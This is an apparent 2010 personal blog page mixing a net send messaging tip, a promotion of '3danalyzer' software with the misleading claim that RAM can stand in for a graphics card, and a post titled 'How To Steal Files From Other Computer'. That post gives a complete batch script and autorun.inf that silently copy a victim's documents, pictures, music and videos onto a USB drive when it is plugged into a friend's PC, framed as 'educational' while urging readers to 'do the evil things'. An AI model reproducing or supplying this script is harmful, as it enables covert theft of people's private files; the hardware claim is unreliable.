OBILLANENI"S WORLD

Send Messages to Other PCs over LAN on windows

Friday, May 21, 2010

First let’s see how it works on the versions of Windows upto XP SP2

It’s really easy, all you need to do is follow these steps:

Run command prompt (Windows Logo Key + R, then type “cmd.exe”).
Running Command Prompt
Type net send x “Your message goes in here between in quotes”, in this command, replace the “x” with the username of the PC on your LAN to which you want the message to be sent. And hit Enter.
How to use Net Send command
If the user is on-line, your message will be sent or else an error message would appear.
You can also send messages to ALL THE PCs connected to your LAN at ONCE! To do that just type this command: net send * “Your message here!”
The star(*) in the above command tells cmd to send the message to all the PCs which are connected to your LAN rather than specifying one (including your PC also) :D

Thursday, May 20, 2010

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Wednesday, May 19, 2010

Hey guys if u love games then good news for you. if u want to play a games required graphic card then no need to buy graphic card convertyour ram into your graphic card.

Play latest Games without Graphic Cards
Many times we are stuck up with a system that just doesn’t provide enough juice to run the latest game…the result being-
you either spend a pot of money (atleast Rupees 3500 or 70$) for getting the latest graphics card
or you just read reviews of games like Crysis , Far Cry on gamespot and feel like a noob,fully knowingthat your system just won’t be able to support it....
-Take heart ! Here’s a wicked software with which you can beat 128-256 MB of graphics card requirements with a very modest 1GB DDR2 RAM.
DOWNLOAD 3danalyzer

What it does is,it uses a part of your RAM as Graphics card memory. For example,if you got 1GB DDR2 RAM,then
it’ll use 128MB of it as a Virtual Graphics card,and the remaining 896MB will be used as a regular RAM.
Cool right….so you can ENJOY UR GAMING EXPERIANCE

MAY 13 E-PAPER BY EENADU

Thursday, May 13, 2010

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How To Steal Files From Other Computer

Wednesday, May 12, 2010

In today’s article I am going to teach you something illegal but only for educational propose. This only demonstrates how you can copy files from your friend’s PC as soon as you plug in your flash drive or anyremovable storage media.

I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.

When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

@echo off :CHECK if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files" if exist "%systemdrive%\Documents and Settings" goto COPIER goto ERROR
:COPIER if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%" if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS" if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES" if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC" if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS" copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%" copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS" copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC" copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES" copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS" MSG %username% "DONE!" exit
:ERROR exit

What it actually does is in first case ,CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’t have then it creates one by using MD (Make Directory) command.

Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Other wise it will return an error and exits.

This happens because; in Windows XP the user’s documents are usually stored in %systemroot%\Documents and Settings folder.

Now I’ve defined another two cases after the first case CHECK, that is COPIER case and ERROR case.

Case COPIER will execute when the program recognizes it is Windows XP, where the real coying work goes o.

Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.

Now let’s create a file that will load it automatically.

[autorun] Open=Filename.bat Action=File Copier

The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

Copy the two files, autorun.inf and Filename.bat in your flash drive.

Then plug in your device to your friends PC and do the evil things.

Where is the flaw?

It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).

Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.

However this is just an educational tutorial.

Hope this tutorial was helpful.